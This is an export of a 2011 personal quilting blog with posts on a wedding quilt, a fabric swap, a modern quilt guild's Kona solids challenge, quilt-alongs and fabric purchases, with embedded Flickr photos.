ringwoollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com1tag:blogger.com,1999:blog-7722934556580633651.post-16424008620344264272011-09-19T14:59:00.000-04:002012-01-30T22:54:33.072-05:00Off the Grid: A Wedding Quilt<a href="http://www.flickr.com/photos/62682254@N07/6163625814/" title="Off the Grid (2011) by woollykat, on Flickr"><img alt="Off the Grid (2011)" height="333" src="http://farm7.static.flickr.com/6154/6163625814_a3d47182cd.jpg" width="500" /></a><br />Off the Grid (2011)<br /><br />T's sister Kari got married over Labor Day weekend.&nbsp; Due to scheduling issues, we were not able to be there for the wedding, but flew out for a few days last week.<br /><br />I brought Kari and Heath's wedding quilt with me on the plane and finished the last bit of the binding as we touched down in Montana!<br /><br />I wanted to make a quilt large enough for them to share while watching TV on the couch--it ended up finishing at about 70" square.&nbsp; This is the largest quilt I've made to date.&nbsp; I wasn't quilt sure how I would get it through my little machine, but it worked!<br /><br />I used a layer cake of Curio by BasicGrey for Moda, Kona Coal, and the binding is Cross Town in Mist from Hometown by Sweetwater for Moda.&nbsp; Fabric from <a href="http://www.etsy.com/shop/pinkcastlefabrics">Pink Castle Fabrics</a>.<br /><br />I started out using KarrieLynne's "Boxed In Quilt" pattern, featured in the Moda Bake Shop <a href="http://www.modabakeshop.com/2010/10/boxed-in-quilt.html">here</a>.&nbsp; <br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/_qv_jxA8ELbg/TKVIrKF1q1I/AAAAAAAAAv8/shERIXYOQcs/s400/13+Boxed+In+Final+Quilt.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://2.bp.blogspot.com/_qv_jxA8ELbg/TKVIrKF1q1I/AAAAAAAAAv8/shERIXYOQcs/s320/13+Boxed+In+Final+Quilt.jpg" width="214" /></a></div><br />I added sashing between the larger squares, and also made a couple of the squares out of the same fabric as the background fabric.&nbsp; Once I pieced the squares, however, the top didn't feel finished yet.&nbsp; Perhaps it was the way KarrieLynne's quilt was staged on an angle, but I kept seeing the design set on point instead of squared up.&nbsp; I also remembered seeing <a href="http://www.filminthefridge.com/2011/04/04/a-smattering-of-greenfield-hill/">this</a> one by Ashley at Film in the Fridge:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://www.filminthefridge.com/wp-content/uploads/2011/04/greenfield-hill2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="http://www.filminthefridge.com/wp-content/uploads/2011/04/greenfield-hill2.jpg" width="320" /></a></div><br /><br />In order to set it on point, I knew I needed a lot more background fabric.&nbsp; I added a whole lot of Kona coal on two sides and ended up with this:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-q8GteHfbJjw/Tnd1hrIBW2I/AAAAAAAABqs/B9yYd7FZh1w/s1600/IMG_2651.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://3.bp.blogspot.com/-q8GteHfbJjw/Tnd1hrIBW2I/AAAAAAAABqs/B9yYd7FZh1w/s320/IMG_2651.JPG" width="320" /></a></div>&nbsp;&nbsp; <br />To give me an idea of what it would look like on point before I started cutting, I folded the corners under until it approximated the effect I was looking for.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-pKrzt58F1DI/Tnd2KSWMtQI/AAAAAAAABqw/ETeJEhmZhds/s1600/IMG_2652.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://1.bp.blogspot.com/-pKrzt58F1DI/Tnd2KSWMtQI/AAAAAAAABqw/ETeJEhmZhds/s320/IMG_2652.JPG" width="320" /></a></div><br />From there, I used chalk, a tape measure and my ruler to mark off the portions I needed to cut off.&nbsp; (Not gonna lie--this part made me nervous!) I then reattached the cut-off sections elsewhere to reach the final layout.&nbsp; I quilted it in straight lines in a grid pattern outlining the squares, continuing the same lines onto the gray. I think it looks like the patterned squares "fell out" of the quilted areas on the solid gray.<br /><br /><a href="http://www.flickr.com/photos/62682254@N07/6163625576/" title="Off the Grid (2011) by woollykat, on Flickr"><img alt="Off the Grid (2011)" height="333" src="http://farm7.static.flickr.com/6159/6163625576_29a24c9c35.jpg" width="500" /></a><br /><br /><br /><br /><a href="http://www.flickr.com/photos/62682254@N07/6163625368/" title="Off the Grid (2011) by woollykat, on Flickr"><img alt="Off the Grid (2011)" height="333" src="http://farm7.static.flickr.com/6166/6163625368_6a73e70d12.jpg" width="500" /></a><br /><br />On the back I stacked the squares cut from the middles of the large squares on the front.<br /><br /><br /><a href="http://www.flickr.com/photos/62682254@N07/6163091113/" title="Off the Grid (2011) back by woollykat, on Flickr"><img alt="Off the Grid (2011) back" height="333" src="http://farm7.static.flickr.com/6157/6163091113_fe3b25bf77.jpg" width="500" /></a><br /><br /><br /><a href="http://www.flickr.com/photos/62682254@N07/6163092069/" title="Off the Grid (2011) by woollykat, on Flickr"><img alt="Off the Grid (2011)" height="333" src="http://farm7.static.flickr.com/6008/6163092069_85b8216085.jpg" width="500" /></a><br /><br />Congratulations Kari and Heath!woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com14tag:blogger.com,1999:blog-7722934556580633651.post-25763632794429140822011-09-15T20:43:00.000-04:002011-09-15T20:43:15.255-04:00Solids Swap -- finished!For the Love of Solids Swap: It's in the mail and on it's way to you, partner. &nbsp;I hope you enjoy it, because I sure had a lot of fun sewing for you! Big thanks to Elizabeth of <a href="http://dontcallmebetsy.blogspot.com/">Don't Call Me Betsy</a> and Megan of <a href="http://www.canoeridgecreations.com/">Canoe Ridge Creations</a> for organizing. They did a fabulous job!<br /><br />This was my first swap and I had a lot of fun, especially seeing all of the different ideas everyone came up with. &nbsp;Check out the flickr pool <a href="http://www.flickr.com/groups/fortheloveofsolids/">here</a>. &nbsp;I chose to sew a mini quilt, which turned out a bit larger than I had planned. &nbsp;Hopefully that's OK with my partner. &nbsp;I forgot to take final measurements but I think it's about 30"x32". &nbsp;I used various Kona Solids, some Robert Kaufman Quilter's Linen, and a bit of Essex Linen, all from my friend Brenda's <a href="http://www.etsy.com/shop/pinkcastlefabrics?ref=ss_profile">shop</a>.<br /><br />I brought it with me out to Montana this last week to get some glamour shots. Thanks for the photos, T! &nbsp;Love that late afternoon summer sun.<br /><br />Here's the front:<br /><a href="http://www.flickr.com/photos/62682254@N07/6151701514/" title="For the Love of Solids -- Completed! by woollykat, on Flickr"><img alt="For the Love of Solids -- Completed!" height="333" src="http://farm7.static.flickr.com/6079/6151701514_88744b1f58.jpg" width="500" /></a><br /><br />A close up of the piecing and quilting:<br /><a href="http://www.flickr.com/photos/62682254@N07/6151701428/" title="For the Love of Solids -- Completed! by woollykat, on Flickr"><img alt="For the Love of Solids -- Completed!" height="500" src="http://farm7.static.flickr.com/6169/6151701428_4913b38d9c.jpg" width="333" /></a><br /><br />&nbsp;And the back:<br /><a href="http://www.flickr.com/photos/62682254@N07/6151701238/" title="For the Love of Solids -- Completed! by woollykat, on Flickr"><img alt="For the Love of Solids -- Completed!" height="500" src="http://farm7.static.flickr.com/6083/6151701238_1fbc2c9724.jpg" width="333" /></a><br /><br />I'm waiting to show the small item I made until my partner has received it; don't want to give everything away! This was a lot of fun and I hope my partner enjoys the items as much as I enjoyed making them. <br /><br />~Annawoollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com4tag:blogger.com,1999:blog-7722934556580633651.post-58291134937550121072011-07-29T16:43:00.033-04:002011-07-29T16:59:52.313-04:00Kona Challenge Winners!I'm a member of the newly formed <a href="http://a2mqg.blogspot.com/">Ann Arbor Modern Quilt Guild</a>. Back at our March meeting, each member received a charm pack of Robert Kaufman Kona Solids, in one of four colorways: classic, bright, dusty, or pastel. We then agreed on the following parameters for the challenge:<br /><br />-Use at least 30 of the charms in the package (there were 41-46 in the packs, depending on the colorway)<br />-At least half of the charm must be used<br />-Overall circumference must equal at least 120"<br />-May use up to (3) additional Kona solids<br />-Entries must be bound, backed, and quilted (no quilt tops). <br />-If not all your own work (i.e. quilted by someone else), provide credit.<br /><br />Submissions were due at our June meeting, where we were able to view and photograph all of the quilts. Then, prior to July's meeting, two winners were selected: a guild choice, chosen through the anonymous votes of our guild members; and a judges' choice, selected by Jill and Marny at <a href="http://modernquiltrelish.blogspot.com/">Modern Quilt Relish</a>. Jill and Marny were sent photos of all of the quilts, including full and close-up views, but did not know the names or identities of who completed them. <br /><br />And now, our winners:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-dF2Wylex3hs/TjMXAPIx5HI/AAAAAAAABqE/u7-hAuRX5OI/s1600/mosaic1a1620bc5df151cc1819d7d0a3992f299e939d1e.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-dF2Wylex3hs/TjMXAPIx5HI/AAAAAAAABqE/u7-hAuRX5OI/s320/mosaic1a1620bc5df151cc1819d7d0a3992f299e939d1e.jpg" width="320" /></a></div>(l top and bottom): Judges' Choice winner <a href="http://www.flickr.com/photos/62682254@N07/5891440986/">Natalie</a> and (r top and bottom): Guild Choice winner <a href="http://www.flickr.com/photos/62682254@N07/5890877915/">Jenna</a>!<br /><br />There were a lot of great entries.&nbsp; Here are the others:<br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-RjXD80yG97c/TjMY36KqzRI/AAAAAAAABqI/QuIC-oZTGuU/s1600/mosaic533ee38edccd482a898ff3e9951a774c483ecebc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://1.bp.blogspot.com/-RjXD80yG97c/TjMY36KqzRI/AAAAAAAABqI/QuIC-oZTGuU/s320/mosaic533ee38edccd482a898ff3e9951a774c483ecebc.jpg" width="320" /></a></div><br />1. <a href="http://www.flickr.com/photos/62682254@N07/5890877347/">Emily</a> 2. <a href="http://www.flickr.com/photos/62682254@N07/5891442690/">Ginia</a> 3. <a href="http://www.flickr.com/photos/62682254@N07/5918923999/">LeeAnn</a> 4. <a href="http://www.flickr.com/photos/62682254@N07/5891442290/">Kathy</a> 5. <a href="http://www.flickr.com/photos/62682254@N07/5891441992/">Angie</a> 6. <a href="http://www.flickr.com/photos/62682254@N07/5890875493/">Lucinda</a> 7. <a href="http://www.flickr.com/photos/62682254@N07/5891440768/">Lisa </a>8. <a href="http://www.flickr.com/photos/62682254@N07/5891440332/">Debbie</a> 9. <a href="http://www.flickr.com/photos/62682254@N07/5891440158/">Carol</a> 10. <a href="http://www.flickr.com/photos/62682254@N07/5891439644/">Brenda</a> 11. <a href="http://www.flickr.com/photos/62682254@N07/5891439264/">Ann</a><br /><br />Unfortunately for me, my sewing machine decided to stop working the week before our quilts were due.&nbsp; The good news is that it turned out to be an easy fix without a huge expense.&nbsp; The bad news is that I was unable to finish my entry.&nbsp; I am still planning to finish it--stay tuned for photos.<br /><br />Be sure to check out the <a href="http://www.flickr.com/groups/1675114@N22/pool/with/5918923999/">Flickr pool</a> to see all of the other Kona solids challenge quilts from guilds everywhere.<br /><br />Thanks to Jill and Marny of Modern Quilt Relish for judging; Brenda, our president, for organizing; Emily, for help with prize procurement; Debbie, for soliciting our fabulous guest judges; and of course, all of the guild members who entered. It was so much fun to see what everyone came up with!<br /><br />Have a great weekend!<br /><br />~Annawoollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com0tag:blogger.com,1999:blog-7722934556580633651.post-8313606830016148222011-07-08T14:29:00.000-04:002011-07-08T14:29:24.960-04:00A few Summer Quilt AlongsThere are a number of fun quilt-alongs happening in blogland lately, it has been hard to choose which ones to join! Or rather, how to limit myself to a reasonable number without going crazy. I've finally decided on two of them, and as for the rest, I'm enjoying reading about how the others are progressing. Here are a few to check out:<br /><br /><a href="http://www.freshlemonsquilts.com/?p=1108">Summer Sampler Quilt Along</a><br /><a href="http://www.flickr.com/groups/1678802@N20/">Farmer's Wife Quilt Along</a><br /><a href="http://www.genxquilters.com/2011/06/rockin-robin-quilt-along-kickoff.html">Rockin' Robin Quilt Along</a><br /><a href="http://incolororder.blogspot.com/p/warm-cool-quilt-along.html">Warm Cool Quilt Along</a><br /><br />Recently Completed but still worth a look--(instructions are posted on all of these sites, so you can still complete them on your own)<br /><a href="http://www.stitchedincolor.com/2011/02/bottled-rainbows-ticker-tape-quilt.html">Bottled Rainbows Ticker Tape quilt-along</a> <br /><a href="http://freshlypieced.blogspot.com/p/supernova-quilt-along.html">Supernova Quilt Along</a><br /><br />So I have decided on two quilt along projects for the summer (for now...:). First, the <a href="http://dontcallmebetsy.blogspot.com/p/kaleidoscope-qal.html">Kaleidoscope Quilt Along</a> with Don't Call Me Betsy, and, as a bit of a more long-term project, the <a href="http://theplaidscottie.blogspot.com/2011/07/dwr-quilt-along-yardage-cutting.html">Double Wedding Ring Quilt Along</a> with The Plaid Scottie. My machine was in the shop for a few days, and then we were out of town last weekend, so I got a little behind on sewing. I'm trying to get caught up this week. For the DWR, I finished getting my arcs printed and cut out, and am now trying to decide on fabric. I'm considering using some of the new Joel Dewberry Heirloom line when it comes out, but I also have my eye on some <a href="http://www.freespiritfabric.com/core-pages/gallery.php?gal_id=260">Hope Valley</a> my friend Brenda has in stock in her <a href="http://www.etsy.com/shop/pinkcastlefabrics">shop</a>...<br /><br />I'm a little further along with the Kaleidoscope QAL. I have the main fabric cut out with the kaleidoscopes sewn to the triangles. Next I need to cut out my background fabric and start piecing. I spent some time this morning working on possible layouts:<br /><br />Option A: squares<br /><a href="http://www.flickr.com/photos/62682254@N07/5915546639/" title="KQAL layout option A: squares by woollykat, on Flickr"><img src="http://farm6.static.flickr.com/5275/5915546639_ae4cefff95.jpg" width="333" height="500" alt="KQAL layout option A: squares"></a><br /><br />Option B: stars<br /><a href="http://www.flickr.com/photos/62682254@N07/5915546429/" title="KQAL layout option B: stars by woollykat, on Flickr"><img src="http://farm6.static.flickr.com/5159/5915546429_73836b1a78.jpg" width="333" height="500" alt="KQAL layout option B: stars"></a><br /><br />Option C: kaleidoscopes<br /><a href="http://www.flickr.com/photos/62682254@N07/5916107668/" title="KQAL layout option C: kaleidoscopes by woollykat, on Flickr"><img src="http://farm7.static.flickr.com/6035/5916107668_f1ce48a23a.jpg" width="333" height="500" alt="KQAL layout option C: kaleidoscopes"></a><br /><br />Option D: scrappy<br /><a href="http://www.flickr.com/photos/62682254@N07/5915546007/" title="KQAL layout option D: scrappy by woollykat, on Flickr"><img src="http://farm6.static.flickr.com/5115/5915546007_7cc18c4fe1.jpg" width="333" height="500" alt="KQAL layout option D: scrappy"></a><br /><br />What do you think?woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com0tag:blogger.com,1999:blog-7722934556580633651.post-76131076843794720042011-06-02T19:34:00.001-04:002011-06-02T20:11:14.047-04:00Fabric treats from purlMy parents were in New York a couple of weeks ago. I asked my mom to drop by Purl Soho and pick out of few fat quarters for me...this is what arrived today!<br /><br /><a href="http://www.flickr.com/photos/62682254@N07/5791386077/" title="Fabric Stash by ≈anna≈, on Flickr"><img src="http://farm4.static.flickr.com/3245/5791386077_9e10ecb3b0.jpg" width="333" height="500" alt="Fabric Stash"></a><br /><br /><a href="http://www.flickr.com/photos/62682254@N07/5791386277/" title="Fabric Stash by ≈anna≈, on Flickr"><img src="http://farm3.static.flickr.com/2593/5791386277_e11cc48368.jpg" width="500" height="266" alt="Fabric Stash"></a><br />Some great black and white basics...<br /><br /><a href="http://www.flickr.com/photos/62682254@N07/5791944816/" title="Fabric Stash by ≈anna≈, on Flickr"><img src="http://farm6.static.flickr.com/5102/5791944816_85d7b75014.jpg" width="500" height="248" alt="Fabric Stash"></a><br />Cheery yellows...<br /><br /><a href="http://www.flickr.com/photos/62682254@N07/5791944934/" title="Fabric Stash by ≈anna≈, on Flickr"><img src="http://farm4.static.flickr.com/3014/5791944934_67effc572f.jpg" width="500" height="253" alt="Fabric Stash"></a><br />and some GORGEOUS Japanese imports by Nani Iro. The red one is a linen blend while the others are double cotton gauze--so soft!<br /><br />Clearly there's a lot more here than a few fat quarters!!! And I'm so happy with what my parents picked out! I did not give them any parameters or specific requests, but these are all lovely. A perfect mix of some much-needed basics and blenders, plus some great prints I am honestly going to have a hard time cutting into. Fortunately there is no rush, they will go on my shelf while I come up with ideas for them...woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com0tag:blogger.com,1999:blog-7722934556580633651.post-17248486365326328252011-05-28T14:45:00.000-04:002011-05-28T14:45:58.578-04:00Loulouthi love from Pink Castle FabricsA few lovelies I picked up from <a href="http://justabitfrayed.wordpress.com/">Brenda</a> at <a href="http://www.etsy.com/shop/pinkcastlefabrics?section_id=7796317#">Pink Castle Fabrics</a>...<br /><br /><a href="http://www.flickr.com/photos/62682254@N07/5769031902/" title="Loulouthi and Essex Linen by ≈anna≈, on Flickr"><img src="http://farm3.static.flickr.com/2294/5769031902_1739a04427.jpg" width="351" height="500" alt="Loulouthi and Essex Linen"></a><br />These are just eight of the prints from Anna Maria Horner's new line, Loulouthi, along with some Essex Linen. I believe there are a total of 30 in all. They are even more beautiful in person! <br /><br /><a href="http://www.flickr.com/photos/62682254@N07/5769031330/" title="Kona Solids Strips--Classic by ≈anna≈, on Flickr"><img src="http://farm4.static.flickr.com/3008/5769031330_e446d7b52d.jpg" width="500" height="333" alt="Kona Solids Strips--Classic"></a><br />I also picked up some Kona Solids. I am really enjoying working on my challenge quilt for the Kona Solids challenge <a href="http://a2mqg.blogspot.com/">our guild</a> is doing, and I think I'm going to start working with solids more in the future.woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com0tag:blogger.com,1999:blog-7722934556580633651.post-84503936128297820952011-05-18T13:26:00.019-04:002011-05-18T13:36:52.506-04:00entering the blogosphere, finding my voice and embracing imperfection<a href="http://www.flickr.com/photos/62682254@N07/5734341818/" title="maybe it's not a quilting day today... by ≈anna≈, on Flickr"><img alt="maybe it's not a quilting day today..." height="333" src="http://farm3.static.flickr.com/2137/5734341818_bab235294e.jpg" width="500" /></a><br /><i>Maybe it's not a quilting day today...</i><br /><br />As a writer and an artist, this whole blog thing shouldn't really be such a big deal, right?&nbsp; These things should come naturally: eloquent composition simply spilling from the keyboard while beautiful images magically send themselves through my camera's lens, ready for download, without the need for editing or cropping.&nbsp; And with so many people writing blogs these days, it seems easy enough, right?&nbsp; I have more than a few favorites I follow regularly*.&nbsp; In reading these, as well as the dozens more I stumble upon each day, a basic common"structure" begins to emerge: A subject, story, or something to teach;&nbsp; a pertinent photo (in focus, well-lit, and carefully composed).&nbsp; Then, blogrolls, badges, and slideshows.&nbsp; Contests and giveaways, the random number generator, dozens of followers and comments galore!?! Wait! How do I make sure I choose the right words, find the right photos???<br /><br /><br />I'm getting ahead of myself.&nbsp; No one's reading yet.&nbsp; No one knows I'm writing this.&nbsp; It's just me here.<br /><br />And so to follow on a conversation I had recently with another newer-ish blogger, don't think too much. Don't worry about creating the "perfect" post.&nbsp; For an audience of one (me), my reasons for blogging are pretty simple: to share projects I'm working on, a place to record thoughts, collect quotes, poetry, inspiration; to share with friends and family; to network with others with similar interests.&nbsp; This blog is by me, for me.&nbsp; If company comes, all the better!<br /><br />≈a<br /><br />*shhh! Don't tell anyone I only recently discovered how to use <a href="http://www.google.com/intl/en/googlereader/tour.html">google reader</a>... ;) I highly recommend it.woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com0